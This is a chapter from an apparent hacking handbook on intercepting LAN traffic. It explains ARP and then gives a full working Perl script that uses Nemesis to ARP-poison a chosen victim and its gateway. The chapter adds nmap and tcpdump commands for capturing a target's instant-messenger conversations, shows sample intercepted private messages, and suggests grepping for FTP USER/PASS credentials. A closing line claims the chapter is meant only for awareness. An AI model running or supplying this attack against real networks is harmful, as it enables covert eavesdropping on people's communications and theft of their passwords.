Chapter 2

Interception of information over LANs

Sniffing is the technique of reading packets of data that travel through the network. It is used wherever security is critical. All firewalls constantly sniff the data packets that pass through them to determine whether a packet of data is to be blocked or allowed to pass through the secured network.

We might therefore conclude from this that sniffing is a good thing used only for beneficial reasons. Nothing could be further from the truth. Hackers came up with this method long before system administrators did. The reader may ask, why do hackers have this ability? Back when the internet was growing very rapidly, all network services used only unencrypted data transfer protocols. Nobody gave a thought about things like SSH (Secure SHell) or SSL (Secure Socket Layer). In those days, telnet was used to log on remotely to a system, something that is very rare today. None of the data sent from a client to a server during a session were secured in any way. Back then, sniffing was very effective and nothing could stop it. It was enough for a hacker to install a sniffer (analyzing program) somewhere along the path where the incoming and outgoing packets were transferred from the network (for instance, networks of a big company or an important server) and he could intercept the IDs, passwords, and addresses of many internet users.

Now that encryption is commonplace, it might seem that the days of sniffing are over. Soon we will demonstrate, however, that this is not the case. Today many people use e-mail every day, download files from friends or FTP servers, or chat with their friends via instant messaging. So far, no network services (apart from SSH, which establishes a secure channel between local and remote computers) are encrypted as standard! That means every time users check their e-mail, giving username and password, their data are sent to a server as plain text.

Scary, isn't it? If a user is within a LAN (Local Area Network) or similar network, for example a wireless WLAN, the matter of intercepting data becomes child's play. In this chapter we will demonstrate a simple method of intercepting a popular instant messaging program. All the activities described are performed in the Linux operating system.

At this point we should mention that sniffing can vary, depending on the equipment used on the network. A network built on simple hubs is a much better "location" for intercepting than a network based on switches. In order to understand why, we should explain the differences between these two kinds of devices.

A hub is used in bus-type networks and in mixed networks. When the hub receives a data packet, it is transferred to all the hub's output ports. In this way the packet is received by all the computers in the network even if it is only intended for one of them.

A switch is used in star-type networks and in mixed networks. The information packet received is directed to the port where the computer addressed in the packet is connected. The packet is received only by the intended target computer.

Good, but what actually is this packet? A packet is also known as a frame. It is the smallest portion of data sent through the network. When data are transmitted, they are broken into packets that then travel through the network independently from each other, and are reassembled in the correct order when they are received. An internet packet contains a source address and target address, an identifier, and a data segment.

Immediately we see that, for sniffing in networks using hubs, it is enough to switch our network card into promiscuous mode and it will be possible to analyze all packets regardless of their target address.

We can do this in the following manner (administrator rights are required):

```
ifconfig eth0 promisc
```

After setting the reception mode on a chosen interface (promiscuous mode) the network device "intercepts" all data packets coursing around the network no matter which computer they were intended for. It is a very useful mode for sniffing in a network with a bus topology.

The matter is more complicated in the case of the second type of network. Here it is not enough to switch the card into receive mode and analyze the packets.

What will we need, then?

- The Linux operating system, because it possesses advanced networking options integrated into the core system code, making it ideal for a sniffing system
- The Nemesis program, described below
- The Libnet library, version 1.0.2a or higher, required for the compilation and correct function of the Nemesis program
- The Libpcap library
- The nmap program

A short presentation of the programs used

a) **Libnet library version 1.0.2a** should be installed before Nemesis. In the compilation phase, Nemesis uses its headline files, in which the structures and the headlines of the TCP/IP stacks are defined, as well as almost every other protocol stack in common use, for example ARP.

b) **Nemesis** is a program for generating packets on the network layer level (among others the protocols ICMP and IP), the transport level (TCP and UDP protocols), and the data connector layer (Ethernet and APR protocols); and inserting them into the network.

The software can be installed as follows:

```
tar -zxvf nemesis-1.4beta3.tar.gz
cd nemesis-1.4beta3
./configure
make
make install (as root)
```

c) The libpcap library is a library to intercept and analyze packets on the user space level, meaning user processes, not the system core.

An example of an installation command set:

```
tar -zxvf libpcap-0.8.3.tar.gz
cd libpcap-0.8.3
./configure
make
make install (as root)
```

d) nmap is the best and most popular port scanner available at present.

The installation of the program is shown below:

```
tar -zxvf nmap-3.70.tar.bz2
cd nmap-3.70
./configure
make
make install (as root)
```

Let's stop to think about how to intercept the communication of a particular computer if the packet is transferred exclusively to a device with an appropriate MAC hardware address (a unique identifier assigned to a network device, written permanently in its electronic circuits; however, there exists a possibility to modify this). A method called spoofing is helpful here. By changing the sender address of the packet we cause a situation in which the computer receiving the packet assumes that it came from the computer whose address was falsely added. In local networks this method is generally used not so much by changing the IP (Internet Protocol) address so much as by sending falsified requests on the level of the ARP protocol.

What is the ARP protocol?

Two machines in a local network can communicate only when they both know each other's physical MAC address. There is therefore a need for software that "covers" the physical addresses and enables programs to work at a high degree of functionality using only IP addresses. The communication is guided with the help of a physical network using a hardware-provided physical addressing scheme. This begs the question of how the IP address is transformed into a physical address for the information to be sent properly.

We can demonstrate this problem with an example of an Ethernet network using long 48-bit physical addressing assigned to the networking devices during the production process. In effect, if the network card in the computer is replaced, the physical address of the machine changes. Furthermore, there is no way to code a 48-bit Ethernet address in the 32-bit IP address.

The IP address is transformed into a physical address by the Address Resolution Protocol (ARP), which assures a dynamic resolution and does not require the address transformation table to be saved. It takes advantage of the ability to broadcast the data within the local Ethernet network. New machines can thus be easily added. Furthermore, it is not required to store a central database of all available network devices.

So if computer A wishes to transmit a message to computer B, it sends a request to the broadcast address as follows: "Who has the IP address of computer B?" In this moment computer B, if it is switched on, answers the broadcast address as follows: "The IP address of computer B is available under the MAC address of computer B". After this exchange computer A can send data to computer B.

The example below illustrates how this exchange works:

```
Gateway (IP:192.168.0.1, MAC: aa:bb:cc:dd:ee:ff)
<<<==(packet flow)==>>>
Workstation (IP: 192.168.0.45, MAC: ff:aa:ff:aa:ff:aa)
```

Here is an example of an operation with an intermediary computer:

```
Gateway (IP:192.168.0.1, MAC: aa:bb:cc:dd:ee:ff)
<<=(packet flow)=>>
Hacker (IP: 192.168.0.66, MAC: ff:ff:ff:ff:ff:ff)
<<=(packet flow)=>>
Workstation (IP: 192.168.0.45, MAC: ff:aa:ff:aa:ff:aa)
```

How does it work?

The workstation sends a message when it logs onto the network: "I have the address 192.168.0.45 and am available under ff:aa:ff:aa:ff:aa"; at this moment the gateway knows exactly to which address it should send the packets for the workstation. In this way we can identify every device on the network. The MAC addresses and their corresponding IP addresses are stored in the ARP cache memory. If a hacker wants to intercept the connection, he has to convince the workstation that he is the gateway, and the gateway that he is the workstation. The packet flowing to or from the station goes through the hacker's computer, which reads all packets interesting for if while remaining invisible from the unaware "victim."

The workstation and the gateway are blissful unaware of the hacker, believing that the network is operating smoothly. This kind of attack is a form of spoofing called "ARP redirect" or "ARP poisoning."

In order to perform the attack we use an easy script written in the Perl language that, with the help of the Nemesis program, will spoof addresses between the gateway and any computer.

Let's take a closer look at the program code:

```
#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Check the validity of arguments before starting
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Use: ./arp.pl Gateway_IP Target_IP Interval Interface\n");
}

if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Use: ./arp.pl Gateway_IP Target_IP Interval Interface\n");
}

if ($time=~/^$/)
{
  $time = 10;
  print("[-] Interval unknown, assuming 10 seconds.\n");
}

if ($time!~/^[0-9]+$/)
{
  die("Use: ./arp.pl Gateway_IP Target_IP Interval Interface\n");
}
```

```
if ($device=~/^$/)
{
  $device = "eth0";
  print("[-] Interface unknown, assuming eth0.\n");
}

# Read MAC addresses for gateway and target
print ("[+] Sending ping command to $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print ("[+] Sending ping command to $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

# Packets sent, we may read MAC addresses
print "[+] Reading MAC addresses from ARP cache memory.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Check if the acquired MAC addresses are correct
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[!] Could not read MAC address for $gateway.");
}

if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[!] Could not read MAC address for $target.");
}

# Read own IP and MAC address
print "[+] Reading own IP and MAC address using ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Packet sending interval is $time seconds.\n\n";

print "-> You:      $you [$you_mac]\n";
print "-> Target:     $target [$target_mac]\n";
print "-> Gateway:   $gateway [$gateway_mac]\n\n";

# Sending ARP packets
while($i)
{
  print "[+] Sending ARP packet: State $target that $gateway is available under
   $you_mac\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac
   -H $you_mac -M $target_mac 2>&1 > /dev/null");
  print "[+] Sending ARP packet: State $gateway that $target is available under
   $you_mac\n";
  system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m
   $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

  sleep $time;
}
```

```
# Ctrl+c pressed, returning to original settings
sub quit
{
  $i = 0;
  print "[-] End of program. Returning to original ARP settings.\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m
   $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
  system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m
   $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
```

At the beginning of the program we choose the settings for carrying out the attack (gateway address, target address, network interface name, packet sending interval). For the program to function correctly requires two parameters to be entered, namely the IP addresses of the network gateway and the target. Additionally, we may define the interval and the name of the network device.

If all call parameters are entered correctly, the program will ping the gateway and target. This is required to determine the hardware addresses of these computers. Next, the addresses are read from the ARP cache memory and their validity is checked. Finally, the program sends the appropriate ARP packets to the target or gateway using Nemesis.

If the program is interrupted, for example by pressing the combination ctrl+c, which causes it to quit, it reliably restores the original network settings.

We start the program in the following way:

```
./arp.pl <gateway address> <victim address> <interval> <interface>
```

It is necessary to paste programming code into a file with the .pl (Perl) extension; here for example arp.pl, to which we assign execution rights through the command:

```
chmod +x arp.pl
```

To start the script, the user must have administrator rights, because Nemesis uses raw sockets and access to them in the system is restricted to administrators.

A raw socket is a basic socket that is used to implement new communication protocols. This type of socket has similar characteristics to datagram sockets, and its detailed characteristics depend on the protocol. Using a raw socket we have access to each heading field and can freely change its values. It enables us to create any packet.

Where do we find the target?

In order to discover the IP addresses of computers available on the network, it is necessary to use the nmap program. Here is an example demonstrating how this application works:

```
shark@shark:~$ nmap -sP 10.10.250.*
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2004-10-14 18:06 CEST
Host 10.10.250.8 appears to be up.
Host 10.10.250.56 appears to be up.
Nmap run completed -- 256 IP addresses (2 hosts up) scanned in 3.874 seconds
```

Running nmap with the -sP 10.10.250.* option will cause pinging of all computers in the 10.10.250.* segment. By doing this we get the addresses of all computers that are currently available. In this case there are two addresses. The address 10.10.250.8 is the computer on which the test was performed, and the address 10.10.250.56 is the computer that we will use in this example.

On one of the available consoles or terminals we start the tcpdump program to test whether the interception is working properly. We do this in the following way:

```
tcpdump 'ip host 10.10.250.56'
```

On the second console we start redirecting packets in the following way remembering that the first script setting of arp.pl is the IP address of the network gateway, and the second is the target IP address:

```
./arp.pl 10.10.128.1 10.10.250.56
```

The result of this program function should look like this:

```
[-] Interval unknown, assuming 10 seconds.
[-] Interface unknown, assuming eth0.
[+] Sending ping command to 10.10.128.1.
[+] Sending ping command to 10.10.250.56.
[+] Reading MAC addresses from ARP cache memory.
[+] Reading own IP and MAC address using ifconfig.
[+] Packet sending interval is 10 seconds.

-> You:          10.10.250.8 [00:0C:29:F4:49:23]
-> Target:                10.10.250.56 [11:22:33:44:55:66]
-> Gateway:      10.10.128.1 [00:50:56:FE:44:12]

[+] Sending ARP packet: State 10.10.250.56, from 10.10.128.1
      is available under 00:0C:29:F4:49:23
[+] Sending ARP packet: State 10.10.128.1, from 10.10.250.56
      is available under 00:0C:29:F4:49:23
[+] Sending ARP packet: State 10.10.250.56, from 10.10.128.1
      is available under 00:0C:29:F4:49:23
[+] Sending ARP packet: State 10.10.128.1, from 10.10.250.56
      is available under 00:0C:29:F4:49:23
[-] End of program. Returning to original ARP settings.
```

Next we observe the console with the tcpdump program, which we have already started. If the newly intercepted packets appear, it means the redirecting is working properly. We see that the new packets are visible. Now we can intercept, for example, the port used by a popular instant messaging program.

It is now communicating through the three ports 1550, 8074, and 443. Port 1550 is used for sending files so intercepting it will provide a binary record of sent and received files. Next, the ports 8074 and 443 are used for communicating between client software and a server. All messages sent from the instant messenger are transferred to the server and from there to the recipient. Because of this, interception should theoretically be possible in only one direction, by reading sent messages. There is, however, a way around this problem. Searching the packets, we check both their target address (messages sent from us to the server) and the source address (messages transferred from the server to us).

To do this it is necessary to start the sniffer program on one console with the following command, remembering to define the IP address correctly:

```
tcpdump -l -X 'port 8074 && host 10.10.250.56'
```

On the second console we start the redirection and we then go back to the first console, observing the results:

```
./arp.pl 10.10.128.1 10.10.250.56
```

The program result should look like the following extract:

```
Jul  5 13:34:54 217.17.41.88:8074 -> 10.10.250.56:1036
  E..l..@.5.....)X..........=..yKP.. [V...........Q.x....=.@....
  hehh...................Q.x....=.@....easy.
Jul  5 13:34:57 217.17.41.88:8074 -> 10.10.250.56:1036
  E..`..@....[......)X......yK...=P...<,......0.....Q.....(...or
   now I'm only listening to you, darling.
Jul  5 13:35:00 217.17.41.85:8074 -> 10.10.250.56:1038
  E..f..@.5.....)U...Z........N..NP.. pf......6....7.P.Q.....!..GR
  ECJI congratulations to the European champions! :D
Jul  5 13:37:11 10.10.250.56:1036 -> 217.17.41.88:8074
  E..U.)@. ..0P3....)X......{N....P...>.......%.....Q.....(...but
  I can send you an e-mail..
Jul  5 13:38:31 217.17.41.88:8074 -> 10.10.250.56:1036
  E.. ..@.5.....)X.............|.P.. .V......0.....OP.Q.....!..ww
  we're having fun here :]]]]]] hahahahaha
```

The reader will note that reading packet traffic can cause headaches. There is a solution to this. When started with the -X option, the tcpdump program transforms the data of the sent packets into ASCII characters. As a side effect, non-ASCII characters (such as accented characters in many languages) are not displayed in the intercepted packets. There is nothing stopping the reader from creating a program to display the content of intercepted packets with non-ASCII characters intact!

The logs will look similar if we intercept the network traffic on other ports, e.g., port 21. To automate searching in password logs and FTP protocol identifiers working on port 21, we can use a grep system tool. FTP authentication happens through the commands USER and PASS, so searching for these phrases in packet releases immediately gives the desired result.

We would like to remind the reader that the intention of the authors of this handbook is only to make the average user aware of these aspects of computer security. The computing world has known about these issues for many years, but until now none of the radical steps needed to rectify the current situation have been taken. Regular analysis of network traffic can be very enlightening and can provide an administrator with a great deal of information on the security situation.

With these words we end this chapter regarding the interception of information in local networks. We would like to invite our readers to deepen their knowledge in this area, especially regarding “man in the middle” attacks, which will be the subject of the next chapter.